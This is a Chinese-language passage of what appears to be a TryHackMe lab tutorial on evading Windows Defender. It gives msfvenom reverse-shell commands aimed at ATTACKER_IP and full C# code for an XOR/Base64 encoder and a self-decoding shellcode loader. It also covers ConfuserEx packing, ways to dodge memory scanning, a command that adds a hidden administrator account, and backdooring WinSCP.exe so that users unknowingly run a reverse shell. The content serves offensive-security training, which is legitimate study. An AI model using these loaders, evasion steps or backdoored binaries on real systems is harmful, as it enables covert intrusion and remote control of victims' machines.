系统会要求您提供一些信息,但请随时按 Enter 键获取任何所需信息,因为我们不需要 SSL 证书有效。 一旦我们有了 SSL 证书,我们就可以使用 python3 和以下命令生成一个简单的 HTTPS 服务器:

AttackBox

user@AttackBox$ python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

所有这些准备就绪后,我们现在可以执行我们的 stager 有效负载。 stager 应连接到 HTTPS 服务器并检索 shellcode.bin 文件,将其加载到内存中并在受害计算机上运行。 请记住设置一个 nc 侦听器,以便在运行 msfvenom 时指定的同一端口上接收反向 shell:

AttackBox

user@AttackBox$ nc -lvp 7474      

Introduction to Encoding and Encryption

什么是编码?

编码是根据编码算法或类型将数据从原始状态更改为特定格式的过程。 它可以应用于许多数据类型,例如视频、HTML、URL 和二进制文件(EXE、图像等)。

编码是一个重要的概念,通常用于各种目的,包括但不限于:

  • 程序编译与执行
  • 数据存储和传输
  • 文件转换等数据处理

同样,当涉及 AV 规避技术时,编码也用于隐藏二进制文件中的 shellcode 字符串。 然而,编码不足以达到规避目的。 如今,反病毒软件更加智能,可以分析二进制文件,一旦找到编码字符串,就对其进行解码以检查文本的原始形式。

您还可以同时使用两种或多种编码算法,使 AV 更难找出隐藏内容。 下图显示我们将“THM”字符串转换为十六进制表示,然后使用Base64进行编码。 在这种情况下,您需要确保您的释放器现在可以处理此类编码,以将字符串恢复到其原始状态。

Double Text Encoding Technique

什么是加密?

加密是信息和数据安全的基本要素之一,其重点是防止未经授权的访问和操纵数据。 加密过程涉及将明文(未加密的内容)转换为称为密文的加密版本。 如果不知道加密中使用的算法以及密钥,则无法读取或解密密文。

与编码一样,加密技术可用于多种目的,例如安全地存储和传输数据以及端到端加密。 加密可以通过两种方式使用:在两方之间使用共享密钥或使用公钥和私钥。

Encryption and Decryption Concepts!

为什么我们需要了解编码和加密?

反病毒供应商使用静态或动态检测技术实施其反病毒软件,以将大多数公共工具(例如 Metasploit 等)列入黑名单。 因此,在不修改这些公共工具生成的 shellcode 的情况下,您的 dropper 的检测率很高。

编码和加密可用于 AV 规避技术,我们对植入程序中使用的 shellcode 进行编码和/或加密,以在运行时将其隐藏起来,不被 AV 软件发现。 而且,这两种技术不仅可以用来隐藏shellcode,还可以用来隐藏函数、变量等。在这个房间里,我们主要关注加密shellcode以逃避Windows Defender。

Shellcode Encoding and Encryption

使用 MSFVenom 进行编码

Metasploit 等公共工具提供编码和加密功能。 然而,反病毒供应商了解这些工具构建有效负载的方式,并采取措施检测它们。 如果您尝试立即使用此类功能,那么一旦文件接触受害者的磁盘,您的有效负载很可能就会被检测到。

让我们用这个方法生成一个简单的有效负载来证明这一点。 首先,您可以使用以下命令列出 msfvenom 可用的所有编码器:

列出 Metasploit 框架中的编码器

       user@AttackBox$ msfvenom --list encoders | grep excellent
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

我们可以通过“-e”(编码器)开关指示我们想要使用“shikata_ga_nai”编码器,然后通过“-i”(迭代)开关指定我们想要对有效负载进行三次编码:

使用Metasploit框架进行编码(Shikata_ga_nai)

           user@AttackBox$ msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai chosen with final size 422
Payload size: 422 bytes
Final size of csharp file: 2170 bytes

如果我们尝试将新生成的有效负载上传到我们的测试机器,AV 会在我们有机会执行它之前立即对其进行标记:

Windows Defender detected our payload as malicious!

如果编码不起作用,我们可以随时尝试加密有效负载。 直观上,我们预计这会有更高的成功率,因为解密有效负载对于反病毒软件来说是一项更艰巨的任务。 现在让我们尝试一下。

使用 MSFVenom 加密

您可以使用 msfvenom 轻松生成加密的有效负载。 然而,加密算法的选择有点稀缺。 要列出可用的加密算法,可以使用以下命令:

列出 Metasploit 框架中的加密模块

           user@AttackBox$ msfvenom --list encrypt
Framework Encryption Formats [--encrypt <value>]
================================================

Name
----
aes256
base64
rc4
xor

让我们构建一个 XOR 加密的有效负载。 对于这种类型的算法,您需要指定一个密钥。 该命令如下所示:

使用 Metasploit 框架对 Shellcode 进行异或

           user@AttackBox$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: xored-revshell.exe

再次,如果我们将生成的 shell 上传到 THM 防病毒检查! 页面“http://10.10.21.255/”,它仍然会被 AV 标记。 原因仍然是 AV 供应商投入了大量时间来确保检测到简单的 msfvenom 有效负载。

创建自定义有效负载

克服这个问题的最佳方法是使用我们自己的自定义编码方案,这样反病毒软件就不知道如何分析我们的有效负载。 请注意,您不必做任何太复杂的事情,只要它足以让 AV 进行分析即可。 对于此任务,我们将采用 msfvenom 生成的简单反向 shell,并使用 XOR 和 Base64 的组合来绕过 Defender。

让我们首先使用 msfvenom 生成 CSharp 格式的反向 shell:

生成CSharp shellcode格式

user@AttackBox$ msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp

编码器

在构建实际的有效负载之前,我们将创建一个程序,该程序将采用 msfvenom 生成的 shellcode 并以我们喜欢的任何方式对其进行编码。 在这种情况下,我们将首先使用自定义密钥对有效负载进行异或,然后使用 base64 对其进行编码。 以下是编码器的完整代码(您还可以在 Windows 计算机中的 C:\Tools\CS Files\Encryptor.cs 中找到此代码):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Encrypter
{
internal class Program
{
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
static void Main(string[] args)
{
//XOR Key - It has to be the same in the Droppr for Decrypting
string key = "THMK3y123!";

//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);

//Original Shellcode here (csharp format)
byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };

//XORing byte by byte and saving into a new array of bytes
byte[] encoded = xor(buf, keyBytes);
Console.WriteLine(Convert.ToBase64String(encoded));
}
}
}

该代码非常简单,将生成一个编码的有效负载,我们将其嵌入到最终的有效负载中。 请记住将“buf”变量替换为使用 msfvenom 生成的 shellcode。

为了编译并执行编码器,我们可以在Windows机器上使用以下命令:

编译并运行我们的自定义 CSharp 编码器

           C:\> csc.exe Encrypter.cs
C:\> .\Encrypter.exe
qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=

自解码有效负载

由于我们有一个编码的有效负载,我们需要调整我们的代码,以便它在执行之前解码 shellcode。 为了匹配编码器,我们将以与编码相反的顺序解码所有内容,因此我们首先解码 Base64 内容,然后继续使用我们在编码器中使用的相同密钥对结果进行异或。 这是完整的有效负载代码(您也可以在 Windows 计算机中的“C:\Tools\CS Files\EncStageless.cs”中获取它):

using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;

public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
public static void Main()
{

string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
byte[] data = Convert.FromBase64String(dataBS64);

string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);

byte[] encoded = xor(data, keyBytes);

UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);

}
}

请注意,我们只是组合了一些单独使用时检测到的非常简单的技术。 不过,AV 这次不会抱怨有效负载,因为这两种方法的组合并不是它可以直接分析的东西。

让我们在 Windows 机器上使用以下命令编译有效负载:

编译我们的加密有效负载

C:\> csc.exe EncStageless.cs

在运行我们的有效负载之前,让我们设置一个“nc”监听器。 将有效负载复制并执行到受害者计算机后,我们应该按预期恢复连接:

设置 nc 监听器

           user@AttackBox$ nc -lvp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from ip-10-10-139-83.eu-west-1.compute.internal 49817 received!
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\System32>

正如您所看到的,有时简单的调整就足够了。 大多数时候,您在网上找到的任何特定方法都可能无法立即使用,因为它们的检测签名可能已经存在。 然而,使用一点想象力来定制任何方法都足以成功绕过。

Packers

另一种击败基于磁盘的 AV 检测的方法是使用加壳程序。 加壳程序是一种软件,它将程序作为输入并对其进行转换,使其结构看起来不同,但它们的功能保持完全相同。 包装工这样做有两个主要目标:

  • 压缩程序,使其占用更少的空间。
  • 一般而言,保护程序免受逆向工程的影响。

想要保护其软件免遭逆向工程或破解的软件开发人员通常会使用加壳程序。 它们通过实施混合转换(包括压缩、加密、添加调试保护等)来实现一定程度的保护。 正如您可能已经猜到的那样,加壳程序也常用于轻松混淆恶意软件。

市面上有相当多的加壳程序,包括 UPX、MPRESS、Themida 等。

打包应用程序

虽然每个加壳器的操作方式都不同,但让我们看一个简单的加壳器会做什么的基本示例。

当应用程序被打包时,它将使用打包函数以某种方式进行转换。 打包函数需要能够通过解包函数合理地逆转的方式混淆和转换应用程序的原始代码,以便保留应用程序的原始功能。 虽然有时加壳器可能会添加一些代码(例如,使调试应用程序变得更加困难),但它通常希望能够取回您在执行时编写的原始代码。

packers

应用程序的打包版本将包含您的打包应用程序代码。 由于这个新的打包代码已被混淆,因此应用程序需要能够从中解包原始代码。 为此,加壳器将嵌入一个包含解壳器的代码存根,并将可执行文件的主入口点重定向到它。

当您的打包应用程序被执行时,将会发生以下情况:

packed app

  1. 首先执行解包程序,因为它是可执行文件的入口点。
  2. 解包程序读取加壳应用程序的代码。
  3. 解包器会将原始解包代码写入内存中的某个位置,并将应用程序的执行流程定向到该处。

加壳器和 AV

现在,我们可以看到加壳程序如何帮助绕过 AV 解决方案。 假设您构建了一个反向 shell 可执行文件,但反病毒软件将其视为恶意软件,因为它与已知签名匹配。 在这种情况下,使用加壳器将转换反向 shell 可执行文件,使其与磁盘上的任何已知签名不匹配。 因此,您应该能够将有效负载分发到任何计算机的磁盘上,而不会出现太大问题。

然而,AV 解决方案仍然可以捕获您的打包应用程序,原因如下:

  • 虽然您的原始代码可能会转换为无法识别的内容,但请记住,打包的可执行文件包含带有解包程序代码的存根。 如果解包程序具有已知签名,反病毒解决方案仍可能仅根据解包程序存根标记任何已打包的可执行文件。
  • 在某些时候,您的应用程序会将原始代码解压到内存中,以便可以执行它。 如果您尝试绕过的反病毒解决方案可以进行内存扫描,则在解压您的代码后仍可能会检测到您。

打包我们的 shellcode

让我们从基本的 C# shellcode 开始。 您还可以在 Windows 计算机中的“C:\Tools\CS Files\UnEncStagelessPayload.cs”中找到此代码:

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

public static void Main()
{
byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };


UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);

}
}

该有效负载采用 msfvenom 生成的 shellcode 并将其运行到单独的线程中。 为此,您需要生成一个新的 shellcode 并将其放入代码的“shellcode”变量中:

命令提示符

C:\> msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp

然后,您可以使用以下命令在 Windows 计算机中编译有效负载:

命令提示符

C:\> csc UnEncStagelessPayload.cs

一旦您有了可用的可执行文件,您就可以尝试将其上传到 THM 防病毒检查! 页面(桌面上的链接)。 反病毒软件应立即对其进行标记。 让我们在相同的有效负载上使用加壳器,看看会发生什么。

我们将使用 ConfuserEx 打包程序来完成此任务,因为我们的有效负载是在“.NET”上编程的。 为了方便起见,您可以在桌面上找到它的快捷方式。

ConfuserEx 将要求您指定它将在其中运行的文件夹。 请务必选择您的桌面作为基本目录,如下图所示。 设置好基本目录后,将要打包的可执行文件拖放到界面上,最终应该得到以下结果:

Packer config part1

让我们转到设置选项卡并选择我们的有效负载。 选择后,点击“+”按钮将设置添加到您的负载中。 这应该创建一个名为“true”的规则。 确保也启用压缩:

Packer config part2

我们现在将编辑“true”规则并将其设置为最大预设:

packer config part3

最后,我们将进入“Protect!” 选项卡并点击“Protect”:

packer config part 4

新的有效负载应该已准备就绪,并且希望在上传到 THM 防病毒检查器时不会触发任何警报! (桌面上有快捷方式)。 事实上,如果你执行你的有效负载并设置一个“nc”监听器,你应该能够得到一个 shell:

​ AttackBox

user@attackbox$ nc -lvp 7478   

到目前为止,一切都很好,但还记得我们讨论过 AV 进行内存扫描吗? 如果您尝试在反向 shell 上运行命令,AV 会注意到您的 shell 并杀死它。 这是因为 Windows Defender 将挂钩某些 Windows API 调用,并在使用此类 API 调用时进行内存扫描。 对于使用 msfvenom 生成的任何 shell,都会调用并检测 CreateProcess()。

所以我们现在怎么办?

虽然击败内存扫描超出了本房间的范围,但您可以采取一些简单的措施来避免检测:

  • 请稍等一下。 尝试再次生成反向 shell,并等待大约 5 分钟,然后再发送任何命令。 你会发现 AV 不会再抱怨了。 原因是扫描内存是一项昂贵的操作。 因此,AV 会在您的进程启动后执行一段时间,但最终会停止。
  • 使用较小的有效负载。 有效负载越小,被检测到的可能性就越小。 如果您使用 msfvenom 来执行单个命令而不是反向 shell,那么 AV 将更难检测到它。 您可以尝试使用“msfvenom -a x64 -p windows/x64/exec CMD=’net user pwnd Password321 /add;net localgroupadministrators pwnd /add’ -f csharp”,看看会发生什么。

如果检测不是问题,您甚至可以使用一个简单的技巧。 从反向 shell 中再次运行“cmd.exe”。 AV 将检测您的有效负载并杀死相关进程,但不会杀死您刚刚生成的新 cmd.exe。

虽然每个 AV 的行为都会有所不同,但大多数时候,它们周围都会有类似的方式,因此值得探索您在测试时注意到的任何奇怪行为。

Binders

虽然绑定器不是 AV 绕过方法,但在设计要分发给最终用户的恶意负载时也很重要。 binder 是一种将两个(或多个)可执行文件合并为一个可执行文件的程序。 当您想要分发隐藏在另一个已知程序中的有效负载以欺骗用户,让他们相信他们正在执行不同的程序时,通常会使用它。

binder

虽然每个绑定程序的工作方式可能略有不同,但它们基本上会将您的 shellcode 代码添加到合法程序中并以某种方式执行它。

例如,您可以更改 PE 标头中的入口点,以便 shellcode 在程序之前执行,然后在完成后将执行重定向回合法程序。 这样,当用户单击生成的可执行文件时,您的 shellcode 将首先以静默方式执行,并继续正常运行程序,而用户不会注意到。

与 msfvenom 结合

您可以使用“msfvenom”轻松地将您偏好的有效负载植入到任何 .exe 文件中。 该二进制文件仍将照常工作,但会静默执行额外的有效负载。 msfvenom使用的方法通过为其创建一个额外的线程来注入您的恶意程序,因此它与前面提到的略有不同,但达到了相同的结果。 拥有一个单独的线程会更好,因为如果你的 shellcode 由于某种原因失败,你的程序不会被阻塞。

对于此任务,我们将对“C:\Tools\WinSCP”中可用的 WinSCP 可执行文件进行后门处理。

要创建后门 WinSCP.exe,我们可以在 Windows 计算机上使用以下命令:

注意: 为了方便起见,Metasploit 安装在 Windows 计算机中,但生成有效负载可能需要长达三分钟的时间(可以安全地忽略生成的警告)。

​ AttackBox

C:\> msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe 

生成的 WinSCP-evil.exe 将在用户没有注意到的情况下执行reverse_tcp meterpreter有效负载。 首先,请记住设置一个“nc”监听器来接收反向 shell。 当您执行后门可执行文件时,它应该向您启动反向 shell,同时继续为用户执行 WinSCP.exe:

winscp execution AttackBox user@attackbox$ nc -lvp 7779 Listening on 0.0.0.0 7779 Connection received on 10.10.183.127 49813 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>

绑定器和 AV

Binders 不会对 AV 解决方案隐藏您的有效负载做太多事情。 在不进行任何更改的情况下连接两个可执行文件的简单事实意味着生成的可执行文件仍将触发原始有效负载所做的任何签名。

绑定器的主要用途是欺骗用户,让他们相信他们正在执行合法的可执行文件而不是恶意负载。

创建真正的有效负载时,您可能需要使用编码器、加密器或加壳器来隐藏基于签名的反病毒软件的 shellcode,然后将其绑定到已知的可执行文件中,以便用户不知道正在执行什么。

请随意尝试将绑定的可执行文件上传到 THM Antivirus Check 网站(桌面上有链接),无需任何打包,您应该会从服务器返回检测结果,因此在尝试执行此操作时,此方法不会有太大帮助。 自己从服务器获取标志。